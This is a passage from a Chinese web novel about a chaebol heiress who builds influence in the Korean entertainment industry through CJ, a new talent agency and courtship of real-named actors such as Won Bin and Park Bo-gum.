“有一个角色需要学习一些围棋技能，我想着这里好歹是石佛下过棋的地方，只要能沾染上一丝他的气息都好。”提到专业上的内容，朴保剑笑得依旧人畜无害，但是明显感觉自信多了。 “哦？是一个什么样的故事？”宋玉妍忽然有些好奇了，她刚从具社长那里薅了一笔钱过来，正愁着没有地方花。 她的理由很是充足，说那百分之二的股份早在成年时候，应该作为礼物送给她。害得她少收了五年分红，这必须补上。 “《请回答1988》是一个温暖治愈的群像剧……”朴保剑像是对她毫不设防，在这个年糕摊子前就开始大谈特谈正在接触的这个角色。 “请回答系列呀！”宋玉妍没有多说其他的，只是接过姨母递过来的年糕。“我司机在旁边等太久了，这里不好停车，就先不聊了。” 说到最后，她也没有说要交换一个联系方式，就像是两人之间真的只是萍水相逢一样。宋玉妍上车之后，记住了这个气质相对来说干净的男演员，随手把文件递给生活助理。 “下次不要让我主动去买炒年糕，自己有点眼色，怎么什么事情都要老板说你才去做呢？这份文件你看着处理！” 生活助理捧着文件忙不迭地点头，她的雇主已经算脾气很好的了，除了偶尔性格阴晴不定之外还好。既不像韩进集团那疯癫的一家子，把员工当奴隶，又不像乐天那边待遇扣扣搜搜的。 “内！我知道了，小姐nim。” “说了多少次，要叫代表！” 等具熙愫在CJ秘书室看到宋玉妍时，脸上很是惊讶。“宋玉妍xi，你怎么来了？有什么事情你让我做就好了，跑过来多累啊！” 对于这个名义上的堂妹，她是感激的，在她最低谷时给她提供了一份工作。虽然比起在家当大小姐，在这里忙碌的工作是她喜欢的。 至少，现在具熙愫不会觉得自己是家族圈养的木偶。在联姻需要交换利益时，毫不犹豫地把她推出去。 “我来看看你工作做得怎么样，要是不好的话，趁早把你弄走。你知道的，我从不把德不配位的人放在不该放的位置上。” “怎么会呢？”具熙愫自幼受到的精英素质教育，也不是白白浪费的，给她机会她能比普通职员上手更快。她带着宋玉妍从顶层往下，一层层介绍，说起每个部门的运转时头头是道。 宋玉妍在心底还是满意的，不知道是不是这具身体里流动着财阀血脉的关系，她好像无师自通地掌握了作为上位者的一些技能。比如：思索对利益的最大化、收买人心、培养自己的心腹、用礼貌又傲慢的性格和其他人拉开距离…… “可以，看来堂姐你这段时间是真的用心了。”虽然她的称呼更加亲近了，但是语气更像是上位者对下位者。 “我后面会把你调去投资部门，那才是CJ最核心的部门！如果你努力成为项目的带头人，你就可以享受到独属于自己的权利。” 说到这里，她凑近地附在具熙愫的耳边，即是蛊惑也是激励。“具家的女儿从来都是联姻的工具，区别只有嫁妆的多或者少而已。但是堂姐你不一样，从婚姻那个囚笼中跳了出来，等你在CJ成为负责人、部长、代表，乃至……时，你会享受到掌权者的快感。” 看着一个又一个红遍亚洲的影视剧出自你手，捧起或者拉下某一个巨星。没有人能够拒绝这份诱惑！ 听到这话的具熙愫呼吸漏了一拍，像是在畅想未来的前景。“我会的！” 能够自己做主，像大象集团的林世龄、三星集团的李馥真那样，谁会甘愿变成工具？ “堂姐你现在还差得远，能在CJ待下去，只是因为你是宋玉妍送进来的。你应该越快把我作为你前缀的这个名字洗干净才好，”宋玉妍说到这里时语气平静，听不出丝毫的危险。 “我手里的牌有很多，而你……我最多给你半年，你成立项目组把《请回答1988》的投资份额从无线台那边抢过来。” 第145章 第一百四十五章 “我会好好做的，代表nim。”具熙愫称呼的转换，是已经把宋玉妍放在了上位者、领导者的位置上。 宋玉妍也笑了笑接受了这个称呼，继续和她随口聊了聊几句日常。 “圈内人最近都在传你喜新厌旧呢！为了新欢把旧爱的资源都给换了。”既然都是一国的，又是名义上又是亲人，具熙愫说话相对来说亲昵了不少。 用着打趣的语气，揣度着她的喜好。 “赵寅城算什么新欢啊！不过只是有过一面之缘而已。”宋玉妍嗤笑了一声准备去办正事，她现在在CJ持股的比例上升了。 CJ打算收购她大学期间玩票性质的电影投资公司，这样可以在电影投资这一行一直处于垄断地位。 难怪等网飞一冲击，韩国影视完全不行，是在根子上就烂透了。 除了创始人的股票和离岸匿名资本，她也算是公司的第三大股东了。话语权的增加，助长了宋玉妍的野心。 “最近有一部漫画还不错，想把版权给买下来。”具熙愫一边说一边打算把《未生》的改编权给买下来。这段时间除了了解公司运转，她还自己看了看项目。 宋玉妍翻了翻她做得项目书，不得不说在商业敏锐这方面，财阀就是有天然优势。从小到大在家里的耳濡目染下，多少也能说出一些来。 “确实是很有意思。”她在前几世也耳闻过这部剧。 被称为南韩职场指南，得到了很多打工人的认同。没想到这个项目现在阴差阳错，撞到了具熙愫的手里。 “我和财务说给你批款，你可以先拿这个项目试试手，《请回答》系列已经形成了固定的IP没有那么好上手。” 像是想到了什么，她又补了一句：“男主就找任时丸吧！他的形象很符合。” 还没有去投资部门，就独自拉起一个摊子的具熙愫有些感动堂妹对她的信任。“我如果亏钱了怎么办？你就这么放心把这个项目交给我？” 拿出这个项目书，也只想向宋玉妍证明她的价值，她是完全没有想到对方会对她如此信任。 “亏钱也没有关系，反正年末的LG分红你也有一部分，到时候从里面扣而已，我相信CJ的高层不会拒绝这稳赚不赔的买卖。” 具熙愫自然听出了她语气中的打趣，当下觉得两人的关系亲昵了不少。“堂妹，我听说任时丸可是公关部长给你物色的男伴，你这就惦记上了？” 宋玉妍瞪了她一眼，“在公司叫我代表！” —— 忙着和CJ公司股权合并的宋玉妍，这段时间没有空闲时间，只是一味地去各种律师事务所签股权转让协议。 和赵寅城的一面之缘被她早早地抛却脑后，倒是对方的经纪人很有礼仪地打电话过来道谢。 “请问是宋玉妍xi吗？”崔事实辗转多次才拿到她的电话号码，一上来语气十分恭敬。 “是的！有什么事情吗？”宋玉妍反应平平，这个是偏私人的手机号，怎么会有不认识的人拿到？ “我是赵寅城的经纪人，他拜托我来道谢，LG的赞助是真的太感谢了。” 这次代言LG那边非常好说话，不仅没有压佣金。甚至连去拍摄时的剧组都十分好说话，以往偶尔受到的冷遇、刁难根本不存在，就连集**来的负责人全程都是笑眯眯的。谁都知道，赵寅城可是宋玉妍指定塞进来的。 难怪说背靠大树好乘凉呢。 “哦，没有关系，就是之前他想要《局内人》的试镜机会，我认为他需要磨一磨演技。那个项目是今年准备冲奖的重点项目，大家不可能那这个项目来玩票。”宋玉妍想到那美妙的一夜，不自觉说出的话就更多了。 “当然当然，他确实是……”作为他的经纪人，崔真实靠他吃饭，也不好多说。“但是在忠武路我家艺人的颜值不说第一，前三还是拍得进去的，还是要您这边多多关照。” “我知道了。”宋玉妍倒是更加欣赏这位经纪人，能够放得下身段去为自己的艺人争取，会做事、情商也高！ “不过您有换工作的打算吗？我打算开一家艺人经济公司，你要是想过来的话，我可以给你百分之三的股权。”这个待遇很优渥了，她自信对方不会拒绝。 崔真实听到她抛过来的橄榄枝，十分心动，然后拒绝了。他和赵寅城相识于微末，在娱乐圈这个复杂的小型社会里，有一个不会背刺的盟友太少见了。 他捂着自己砰砰直跳的心脏，在心底抱怨道：赵寅城啊、赵寅成，你根本不知道我为你放弃了什么。 好吧！宋玉妍耸了耸肩膀，只能感叹世宗大王不是什么时候都有用的。 她在筹备新的经纪公司时，对于第一个签约艺人已经有了想法，到时候可以让自己这个初创公司第一时间步入大众视野。 LG新品智能家居的试验品已经出来了，宋玉妍打着自己的小算盘，毫不犹豫地去片场探班了。看着不算很大的房子，她皱了皱眉头，这个不算大气的客厅塞着这些家居，都委屈了。 旁边陪着一起过来的具熙愫看到她的表情，有些懵了。“怎么了代表nim？”她还记得在外面要称呼她职位的嘱咐。 “你不觉得，这个房间太小了吗？看起来就和快销品的广告一样，拉低了我们LG的档次。” “不觉得……”具熙愫和她的前夫在江南的一个40坪公寓生活了很久，看到这个布景，只觉得广告部的负责人也是尽力了。 具家的女儿除了宋玉妍以外，待遇都不算好，嫁出去之后的分红只够过上相对优渥的生活。可以说一旦出嫁，除非和财阀嫡系的联姻，否则就是阶级滑落的开始。 “我龙山区那边有一套别墅，刚好配备了新家居，后院还有一个高尔夫球场，干脆就在那边拍好了。”宋玉妍手一拍，把负责人叫过来嘱咐了几句。 听到大小姐的突发奇想，广告部的成员只觉得资本家不做人，脑袋一拍就让下面的人跑断腿。但是又没有办法阻止，尹室长的电话现在又打不通。 只能委婉地劝说道：“元斌那边很难约的，如果知道临时更换拍摄场地的话，估计会不高兴。” “那就加钱，到时候我会和尹灿说。现在拍出来的效果太次了。知道的以为这是高端、优雅的生活方式概念片，不知道的还以为在拍快销品的广告。” 听到宋玉妍这样强势地发言，广告部门的职员还能怎么样，只能露出命苦的笑容，然后把所有的拍摄器材装车，往江南那边开。 导演和职员也是第一次来这边的别墅区，这里向来是不让陌生人过多停留，保安看到生面孔会直接驱赶。 这边的房屋造型都很别致，从外观上看和美术馆、艺术馆别无二致。一幢幢像是小庄园一般，从栏杆的缝隙里往里面看，还能看到大片大片的植物。首尔寸土寸金的地皮被这些富人占有，用来建造一些无用的东西，和人口密度大的其他地区形成鲜明对比。 到了宋玉妍的房子后，有管家带着所有的佣人迎了上来。“小姐nim，您今天中午要在这里用餐吗？知道你会来，你的生活助理联系航空公司运来了一批西冷牛排。” 具熙愫看到这一幕真的羡慕了，她在具家享受到的生活品质也很精致，但是结婚之后完全不一样。“宋玉妍xi，叔父对你还真的是……” 要是私生女能有这样的待遇，那她也想当私生女了。 宋玉妍摇晃着早就醒好的红酒，轻抿了一口，酒液沾染上她的嘴唇，镀上了一层亮光。 “堂姐你太天真了，只有你表现出值得投资的价值，具家才会给予匹配的资源。如果我不是在大学时期，从CJ公司掺合了一脚，我现在的待遇只会比你还差。” 她默然，不由地认同宋玉妍所说的话。 元斌来了之后，具熙愫显得十分激动，她是看着元彬的戏长大的，看到对方之后就先去要签名求合照了。 宋玉妍则是上了楼，喝着酒看着楼下的拍摄情况，她的小型高尔夫球场也十分大方地借出来了。这个视野很好，好像她能把楼下所有黑点一般的人，都踩在脚下。 看着底片，导演越看越满意，只觉得更换拍摄地点是一个再明智不过的决定了。 诺大的落地窗前，元斌优越的侧脸看着窗外，轻抿一杯咖啡；书房里根据环境自动调节的温度、亮度；打完高尔夫后回来的男主人，浴缸里的水已经自动放好…… 不说看到这样CF的观众了，就连他看着都有种想要买的冲动，想试一试这智能家居是不是真的有宣传的那么好用！ 看到拍摄结束，元斌打算离开的时侯，宋玉妍走下楼梯。“元斌xi，有空一起吃个晚饭吗？” 如果是普通的金主，他拒绝也就拒 绝了。但是对方还是LG的家族成员，话语权颇重，这就让元斌有些不好开口直接拒绝。但是也不想开这个头，退圈人士不想再沾惹圈内这些是非。 “抱歉，我妻子还在家等我。” 宋玉妍怎么会不知道这是他的推脱之词。她笑意盈盈道：“只是想要咨询你一点问题而已，如果方便的话，你妻子也可以过来，正好我的男友也很崇拜你。” 听到这话元斌明显松口气，只要不是想对他死缠烂打就行，他实在是怕了圈内的一些事情。顾及到对方的能力，还是答应了。 她则是让生活助理给赵寅城打个电话，让他过来一起吃一顿饭，这样对方的顾虑会更加少，谈事情也会更加放松。 到了明洞这边一家韩定食餐厅，被经纪人拉过来的赵寅城一脸懵，就被宋玉妍拉着手。 “这是我的男友赵寅城，也是你的后辈。”她拉着人对着元斌介绍道。 猝不及防看到已经退圈的元斌前辈，赵寅城都来不及诧异，宋玉妍居然称呼他为男友。 他反应过来之后，后知后觉，他们两个什么时候关系到这一步了？一日确定过了吗？他开始疯狂回想，那天晚上是不是有什么遗失的记忆。梳理一遍之后，绯色已经上脸了。 元斌没有提，宋玉妍自然也不会点酒，两人只是聊一些投资类的事情。 他对于这个话题还算感兴趣，但是两人的投资风格完全不一样。元斌偏向投资一些低风险的资产你，像是首尔的商业楼盘、地皮之类的。宋玉妍剑走偏锋，喜欢高风险高回报的投资。 旁边的赵寅城老老实实做自己的花瓶，不随意开口。他知道宋玉妍请人吃饭肯定是有目的的，总不可能是为了闲话家常吧！ 等饭吃到一半，酒席间的气氛并不想刚开始那般生疏。 宋玉妍就直接开口了：“元斌xi，我要开一家演员经纪公司，你会有兴趣吗？” 听到这话的男人原本稍稍放松的手肘又紧绷了起来，眉宇间闪过郁色。“抱歉，我已经是退圈的人了，现在只想着好好地生活。” “没有解约金、不要求签约年限、没有拍戏之外额外的应酬、CJ的剧本随便你挑、LG后续的代言人优先考虑你。”她转了转手上的手镯，随口抛下一个大雷。“如果你签约的话，我们可以帮你去撕劳力士的代言。” 劳力士向来看不上演艺圈的演员，就连好莱坞的顶级演员能够捞到这个代言的，都是寥寥无几。 旁边的赵寅城听到这样的条件，惊讶地眼睛都瞪大了，松了松领带，他的呼吸都开始不畅。这样优越的条件，如果是他恨不得立刻答应下来。 优渥的条件确实是让人难以拒绝，“抱歉，我还是想回归家庭，我已经过了那个野心勃勃的年纪了。”虽然心动，但是元斌在这个圈子里看到的肮脏事情足够多。 他只是一个艺人而已，资本想要套牢人的方法五花八门。也是因为他足够清醒，所以才能全身而退。 “公司股权你拿百分之三十，不过这样的话，就没有签约费了。”宋玉妍撑着头，像是把他的每一步想法都看透了。 赵寅城嫉妒地看了一眼对面的男人，百分之三十的股权，这一签约至少少奋斗十年。又看了看旁边的宋玉妍，只觉得自己的心脏砰砰直跳，要是对方给他这样优渥的条件，他肯定不会拒绝。 他只觉得一开始拒绝宋玉妍的自己，真的很装，还什么不想同流合污。他甚至都觉得金钱给她都镀上了一层金光。 “我不……”元斌忍住心底的贪念，忍痛拒绝。 “你先不要拒绝，作为一个演员没有拿到过青龙最佳男主，你甘心吗？我可以减少你的宣传活动，你也可以选择客串，这样阔别银幕的生活真的是你想要的吗？”眼看砸钱不行，宋玉妍又开始卖起了情怀。 只要是入了这一行的，不会对荣誉没有追求。但凡他还有一点点名利心，都不可能拒绝。 “我考虑一下。”这次他倒是没有一口拒绝，宋玉妍知道已经成功一半了。 “好，那今天打扰你了，这是我的名片。”她起身不再步步紧逼，而是挽起赵寅城的手往外走了。 走出门口之后，赵寅城确定包厢里面的人听不到。“宋玉妍xi，我们这是？”他指了指两人卷在一起的手。 宋玉妍倒是把他当工具人的态度很明显，直接抽出手臂，神色瞬间冷淡了。“元斌很有分寸感，要是我今天一个人约他吃饭，他一定会拒绝。所以我干脆和他说我男友也会来，今天麻烦你了，我到时候让助理给你送块手表。你喜欢劳力士还是百达斐丽？” 赵寅城神色有些苦涩，他的时间还真的是值钱，就一顿饭的时间，对方居然送这样名贵的表。 “那你们公司还需要签艺人吗？你看我怎么样？” 她似笑非笑地睨了他一眼，“比起已经成名的艺人，还是新人更加合适，好打磨。”他的演技实在是太木了，宋玉妍确实是看不上眼。 “我在忠武路还是有代表作的！”赵寅城感觉自己身为演员的职业尊严被羞辱，挽尊道。 “《霜花店》吗？欧巴还是更适合小银幕。”她这是实话，之前看《王者》时，他的演技不但比不过有忠武路花瓶之称的郑宇盛，甚至还被柳俊列摁在地上。 说到这个，他无法反驳，一提一个不吱声。也是从《霜花店》的票房口碑双扑之后，他在忠武路的资源断崖式下跌，媒体都戏称他被忠武路退货了。 感觉开经纪公司顺利，感觉前途一片大好之时，宋玉妍接收到了具社长的电话。 “你对管理集团有什么想法吗？” “没有。” “你和尹灿一起去一趟种花，那边是人口大国，打开一点市场就够我们营业额翻几倍了。”具官烨自顾自地说了下去。 “你没有听到吗？没兴趣！” 第146章 第一百四十六章 “你这属实是急病乱投医了，LG集团人才济济，我的成就在集团也可能只是一个课长而已。”宋玉妍勾起算计的笑容，费力不讨好的事情傻子才做。 “……”具官烨能说什么，总不能说，他年过五十还没有儿子，开始着急了。 集团董事会已经开始给他施加压力，让他过继一个过来。 过继来的儿子怎么样？他这个正儿八经的嗣子还不知道吗？集团真正的主人具会长还躺在ICU呢！ 也就是这样他才把目光，放在了这个流落在外的女儿身上。比起被具家已经养废的婚生女，还是宋玉妍继承了他在商业上的成就。 “你去种花把这个项目完成，我把集团持有的MBC电视台股份转一半到你的名下。” 具官烨开出的条件，完美地戳中了宋玉妍的心尖，这让她完全没有办法拒绝。她想的是背靠CJ、组建自己的经纪公司之后，下一步就要 考虑收购电视台的股份。这样就可以在演艺圈立于上位圈中的上位圈。 只有这样，在网飞冲击韩国市场时，宋玉妍不想让出打拼而来的市场份额，才会有一战之力。 但是把控媒体的那几家财阀，是一定不会把传媒的股份转出去，这样相当于斩断了喉舌。 “一半太少，你知道的，我的选择很多，不只有MBC电视台。”这个话纯属想要抬价编出来的。 想着这个项目是给宋玉妍练手的，作为考察她能力的项目，那一点电视台的股份就当搭头。具官烨爽快地答应下来，“可以，但是如果这件事情没有做好的话，我们之间的约定也不作数。” “好的。”宋玉妍眼看电话里面说完正事之后，立刻想把电话挂掉。 “我们父女之间除了工作，就没有其他能聊的了吗？”具官烨既然起了这样的心思，就想着和自己的女儿好好“联络”一下感情。 “难道不是吗？”利落地挂了电话之后，宋玉妍已经有了规划。14年的种花还没有限韩令，韩流艺人在种花的知名度还算是不错。 在元斌决定签约之后，宋玉妍名下的KM娱乐也给予了他相当大的自主权。可以说是让他毫不费力，完成了艺人到资本的转变。 另一边的赵寅城看到她派人送来的迪通拿金表，拿起来摩挲了一下，冰冷、沉甸甸的手感让人爱不释手。 虽然在圈内这么多年赚了不少钱。但他也不会奢侈到别人就陪他吃一顿饭，他就送一块奢侈品牌的手表。 “崔事实xi，她除了把表转交，还说了其他的吗？”对方自从和元斌吃完那顿饭之后，过去一个多月，再也没有联系过他了！ “没有了！”说到这里，经纪人有些后悔拒绝宋玉妍抛过来的橄榄枝了，随手一送，就是他一年的工资。“倒是听说宋玉妍新创立的娱乐公司，签下了不少艺人。” “都有谁？”赵寅城有些气闷，宋玉妍宁愿签别人，都不愿意要他这个毛遂自荐的。他比这些新签的艺人差在了哪里？ “朴保剑、任时丸、姜素纳、林允娥、徐睿智。”崔事实没有想到，对方都是考虑性价比高的新人，除了林允娥的经济合约，其他的都签的很顺利。 ………… 听起来都没有他有名气，赵寅城有些不甘心，他现在的经纪公司对他也还行。就是在事业上助力不大，资源都是自己找上门，他还是想往电影圈发展发展。 “hiong，你帮我联系一下KM娱乐公司，我想转经济合约。” 不知道自家娱乐公司被赵寅城看上的宋玉妍，正专心致志地在种花铺开LG的新型智能家电。 先是和政府部门洽谈好合作的方案，用在当地建立实验室换取支持，这样老练的手腕让跟过来的高层叹服。 看起来具家这位私生女，是按照集团继承人的标准秘密培养的！ 随后宋玉妍在各大城市的标志性商场外，搭建了临时建筑，按照高端、舒适的装修风格布置完。带着花了大价钱请来的少女时代，一个个城市跑商业站台。 看着LG集团只是出了一笔代言费，就让自家产品破入种花市场，其他的财阀羡慕到眼睛都红了。 忙完这些之后，宋玉妍把这些都甩到了脑后，跑回韩国给具社长汇报工作。相对于处理这样的“琐事”，还是在娱乐圈老男人的碗里抢饭吃，看他们破防来得有意思。 尹灿这段时间跟着她一起去处理业务，对她改观很大。 稍稍落后她身后半步，看向她的目光很是复杂，前面人的身影好像逐渐和那个在群狼环伺中，拔掉具会长爪牙的社长重合了。原本还是需要他帮忙擦屁股的纨绔子弟，现在已经初具掌权人的风采了。 “社长nim在里面等你，你进去吧！就算有些什么不满，说起来也要委婉一些。他最近身体不太好！” 宋玉妍原本打算直接推开门，但是听到这样的话，立刻转过身。她的手没有留力气，拉住对方瘦长的、藏蓝色的商务型领带，中规中矩的平结系的很紧，迫使尹灿不得不低头。 脸上因为呼吸受阻而变了色，没有想到宋玉妍会突然来这么一出。 “这样看起来，你还是有几分俊秀的。”像是要仔细端倪他的长相，宋玉妍松开了他的领带。手指捏住他的下颌，带着一丝狎昵。 他的脸上收拾得干干净净，在人均赴美役的南韩能够看得出去美容院的痕迹，发型也是精心抓过的。身上的西装也是板板正正的，看起来稳重又不失职业。 “难怪具社长问我，要不要考虑你做未婚夫。你不会也知道这件事情？所以才把自己当成半个具家人，管到了我的头上？” 听到这话的尹灿脸上红一阵白一阵，难怪他刚进公司时明明很受欢迎，但是过了一段时间那些示好就销声匿迹了。而对于其他人都格外严苛的具官烨，对待他时就像是对待自家的子侄一般。 他的心脏乱跳了几拍，想到宋玉妍不俗的长相和对他事业的助力，心脏更乱了。她……好像除了不体面的出身，人生几乎没有污点，良好的家世、鹤立鸡群的长相、优秀的学历。 对上面前人冰冷的视线之后，尹灿像是被浇了一盆冷水，连忙收回自己的意乱情迷。“大小姐nim，我没有这样想过，社长nim也没有和我提过。” 说完慌乱地整理凌乱的衣领，整个人不似之前的职业风范，看起来狼狈不堪。 宋玉妍没有说信了，也没有说不信，只是推开沉重的红木大门。看着具官烨坐在茶桌的主位上，慢条斯理地给她斟了一杯茶。 他在南韩倒是舒服，高尔夫打打、清茶喝喝，还有无数想要讨好他的人，帮他选妃提供鲜嫩的新人。 想到这宋玉妍就气不打一处来，“我在种花就睡眠都没有，您倒是有心情在这里附庸风雅，学两班贵族品茶。” 附庸风雅！ 知道这个女儿对他没有耐心，具官烨也不绕圈子，把茶放在她的手边，对宋玉妍大大咧咧竖着腿坐的做法不以为意。 他直接开门见山道：“你要进集团公司工作吗？” “不进，没有兴趣。”宋玉妍没有动面前的这杯普洱，看着自己名义上的父亲，有些好笑。 “你就算能够完全掌控CJ集团又怎么样？整个电影产业份额也不到2兆亿韩元”具官烨倒是不急，吹了吹面前的茶杯。 但做财阀的掌权人就不一样，尤其是LG这种排名前三的，几乎能把控南韩的经济命脉。他自信没有人能够抵御这份诱惑。 “你每次开董事会的时候还好吗？” 宋玉妍莫名其妙的问题，让一向修身养性的具官烨绷不住脸上的表情。“什么？” “看着那一群长相抱歉的董事会成员，不会心情不好吗？” 具官烨：…… “我在演艺圈，每天都能看到俊男美女，一个个都哄着我。以及……这个烂透了的圈子，总要改变一下了。”想到09年的那桩案件和后面的种种乱象，宋玉妍很难说自己是什么感受。 作为无数次的旁观者，她没有能力去挑战圈子里那些规则。好像男性上位者只是把女艺人当成玩物、能够享受的一道菜。之前的她只能保全自身，但现在她想做那个制定规则的人。 那些人品低劣的男艺人凭什么能靠给高位者拉皮条，变成youngandrich。 “天真的想法。你是财阀中的一员，那群人上供，自然少不了你的一份。”他倒是没有想到，宋玉妍把控演艺圈的话语权，居然是有这种想法。 “我在乎那点东西？” “你是既得利益者，这种做法你就是在背叛自己的阶级。难道步入演艺圈的那些人不知道自己要面临的是什么？你挡着他们上升的台阶，会以为他们能感激你？” 具官烨年轻的时候只是财阀旁系，也曾学过法律，也曾看不惯社会阴暗面。他的眼底闪过一丝追忆，和她妈妈在一起 时，还在备考检察官，想要匡扶正义。 “每年自杀那么几个女艺人不是很正常吗？你怎么会想着因为自己是女性，而去背叛自己的阶级利益。” 宋玉妍：“我没你想象中的那么伟大，根本只是看腻了忠武路那群丑男。难道我们国家就没有正常一点的电影吗？” 她像是找了个拙劣的借口。 第147章 第一百四十七章 后面也许是具官烨想通，也许是他想让宋玉妍在影视圈这个小池子里吃瘪，然后转身向他寻求帮助。所以他没有再提，让她进集团公司工作的话题。 在CJ办公室的宋玉妍，看到具熙愫送过来的项目书，拿着钢笔的手把笔帽那一头抵在桌面上，有一下每一下地敲着。 “同时开《未生》和《请回答1988》两个项目，你能忙得过来吗？” 倒不是对她的能力有些质疑，而是怕她精力不够。 “只要前期成功组建剧组，多费心思招商，其实我觉得问题不大。”具熙愫不甘心让出自己手上的项目，这两个项目都是她耗费了无数心血的。其他人想要讨好宋玉妍，她也知道，但是谁也别想来摘她的桃子。 “而且我还有个想法，《未生》里面的男主是考棋院失败，《请回答1988》里的崔泽是围棋手。这两部剧可以联动一下，到时候互相带热度。” 听到具熙愫妥当的安排，宋玉妍把项目书合上，嘴角的笑容是对她的满意。“可以的，堂姐你成长的很快，只要这两部剧收视率成功了，到时候我送你一套龙山区的别墅。” 办公桌后的女人心中的激动无以言喻，就连她亲爹都没有答应过给她送这么昂贵的房屋。看来这个大腿是抱对了，说不定……她以后的地位不会低于现在的具副社长。 “我会好好做的。”具熙愫想到领导最喜欢下属给她汇报工作，她当然事无巨细地想给宋玉妍汇报一遍。“女主演的话我想定girl‘sday的李惠丽，虽然是演员出身，但是演技很灵……” “具体方向你自己把控，CJ这边我的精力不够，你帮我多多分担。”宋玉妍立刻制止了她的滔滔不绝。 “还有一件事就是朴保剑好像知道是你推荐他演崔泽，想要见你一面，请你吃个饭。”本来她是不想介入人家的私生活，但是耐不住当初这个角色是宋玉妍亲自定下的，具熙愫揣度着自家堂妹的想法，还是把消息传过来了。 “到时候再说吧！” 继续在办公室整理资料的宋玉妍翻阅着公司的流水，KM娱乐是初创公司，现在还是入不敷出的状态，全靠她自己的资金在垫着。 这样看来不行啊！她是想要借助娱乐明星的影响力，不是来做亏本生意的。她写下了两份企划案，一份是和其他的经纪公司合作，一起评选出最具影响力的十位韩流明星。 这份企划的目的是和其他的经纪公司利益捆绑，把他们拉近自己的盘子里。衡量的标准也是相对客观的，歌手看专辑销量，演员看收视率。除此之外，还看中海外流媒的影响力和商业价值。 想到这里，宋玉妍就迫不及待地最先给三大的SM主理人打电话了。李绣满虽然是kpop教父，但那点体量在财阀面前不够看。他在犹豫了几秒之后，还是接了这个财阀家族成员的电话，保不准日后拉投资需要呢？ 她和对方阐述了一下自己的构想，对面人的态度礼貌的敷衍到饶有兴味。 “你的意思是说整合整个kpop的力量，去打开欧美市场？成功入选的韩流明星，你会在时代广场给他们铺地广？”李绣满不明白这样的做法是为了什么，欧美市场可比亚洲排外多了。闯进去的难度，相比较而言也是指数级别。 “当然是把蛋糕做大。”宋玉妍没有说其他的。在别人看起来吃力不讨好的事情，在她看来有可为。“这次不仅仅只是局限于歌谣界，演员也应该参与进来。” 虽然三大公司内斗严重，但是这种能够开拓市场的好事，大家都不愿意放过。等他们把旗下的艺人塞进来之后，宋玉妍也顺势塞进了自己新创公司的艺人：元斌和任时丸。 —— 在去《请回答1988》剧组探班的时侯，朴保剑看到宋玉妍忍不住露出了狗狗一般的笑容。 “代表nim！”隔着老远就朝她招手，像是一个看到主人回家欣喜若狂的玛尔济斯犬。 看到帅气、气质干净的男人，宋玉妍这段时间在各种饭局里，感觉自己因为看到忠武路各种老登、中登，而被腌入味的疲惫一扫而空。 她露出了真情实感的笑容，站在秋日的暖阳下，笑容里满是温柔阳光的味道。 “朴保剑？”她来探班完全就是临时起意，看到他心情变好也就多聊了两句，还没有问完对方在剧组的感受怎么样，具熙愫就来了。 原本精致的财阀千金现在怎么变成这样了，宋玉妍看到她之后，脸上失去了表情管理。原本穿着香奈儿粗呢针织套装、脚上踩着华而不实的高跟鞋，脸上透出一周去三次高端美容院的昂贵光泽，就连头发卷的弧度都考究的女人。 现在头发随便扎在脑后，就连唇膏都没有涂，灰头土脸的，嘴巴都干裂起皮。 “堂妹啊，我辛辛苦苦为你赚钱，但是你居然还有心思在这里和男艺人打情骂俏。”具熙愫的声音幽怨，眼下的黑眼圈也确实是让人愧疚了一瞬。 果然只要沾染上班味，整个人都会散发出一股恶心的味道。 宋玉妍不自在地咳了两声，“你可以自己招人！作为leader你要学会带团队，不能凡事亲力亲为。”转过身去，压低声音和朴保剑说道：“你要是今天结束拍摄之后有空，我请你吃个饭？” 看到刚刚那一幕，她起了心思，之前她一直以为自己喜欢轻熟男那一款，带着淡漠的克制。但是看到刚刚朴保剑弯起狗狗眼时，她的心脏像是被击中了一瞬。 朴保剑完全没有想到这份邀约来得这么快，原本是有一个电台访谈的，但是现在什么都没有宋玉妍重要。“我有空！” 突如其来的大声吸引了剧组许多人的视线，宋玉妍在一旁扶额。自从进入CJ之后，她很少体会到这种尴尬的情绪，明明他们之间是亲故，但是总有一种和年下在some的错觉。 “到时候我让助理接你。”说完这句话之后，她就和具熙愫继续聊工作的事情了。 听着她推广韩流的预想，具熙愫咂舌，“你这摊子铺地可真够大的，这个项目前期就是一个无底洞，仍进去的世宗大王不计其数。” 如果是她，感觉以她每年那点可怜的分红，可能 都听不出响声。 “不怕亏本吗？万一到时候被其他不出力的公司拿到大头好处怎么办？” “就怕他们不参与进来。”宋玉妍笑了，“我们国家一直想扩大一下文娱在海外的影响力，这次官方总要给点支持。”简单来说就是找**门化缘，他们怎么可能不给一点支持。如果不给的话“文化立国”口号就会变成一句空话了。 “三大在海外的营销比我们厉害多了，为了他们自己的商品……艺人，他们也应该加大营销。”她有些自矜昂起头，“堂姐，前期投入多没有关系，我们KM娱乐只要保证自己一直是庄家，等第一次赢了，到时候谁上牌桌就是我们说了算了！” 听到这话，具熙愫哑口无言，这就是他们家和具官烨之间的差距吗？ 等晚上吃饭时，宋玉妍让生活助理开着车库里一辆新的库里南去接朴保剑。到达餐厅之后，两人之间淡淡的尴尬氛围才显露出来。如果是面对其他人，比如像是赵寅城那样的，混圈混得久了的，她大可以开门见山。 但是那样直白的话，对着朴保剑却说不出来，她只能用公筷给他不断夹菜。 “这个不错！” “内，康桑汉密达。” “这个也不错，你试试看。” “康桑汉密达。” …… 她夹一次，对方就紧张地站起来，朝她90度鞠躬道谢。宋玉妍无语，干脆不夹了。 这顿饭吃完了，朴保剑才鼓起勇气说道：“宋玉妍xi，我们这是在约会吗？”他垂着眼睛，像是一只没有坏心思、只是有些腼腆的小狗。 他也有自己的私心，就算还是用着敬语，但没有称呼宋玉妍的职位，按道理来说应该叫代表的。 看着他俊秀的线条，她的心脏更加软和了，到底和那些老油条不一样。高级日料店的灯光是专门定制过的，柔和的光晕打在两人脸上像是雾一样，从旁观角度来看像是一部质感高级的日剧。 “算是吧！你想要LG的手机代言吗？”宋玉妍转移了话题，她的手指慢慢地蹭上身边男人的骨节，摁倒凸起的地方会多停留一下，动作暧昧又柔情。 朴保剑像是第一次碰到这种情况，脸上立刻就红温了，涨红的脸像是水蜜桃雪媚娘。 “我都听你的。都可以。” 声音小到几乎听不见。他想到自己能够顺利拿下崔泽这个角色，今天在剧组时侯得到的特殊待遇、来的路上豪车里舒适的感受…… 这些都是他从未有过的体验，包括这家店，他也只听过名字从没有来过。因为只是私人预约式的，只服务于前百分之一的富豪阶层。 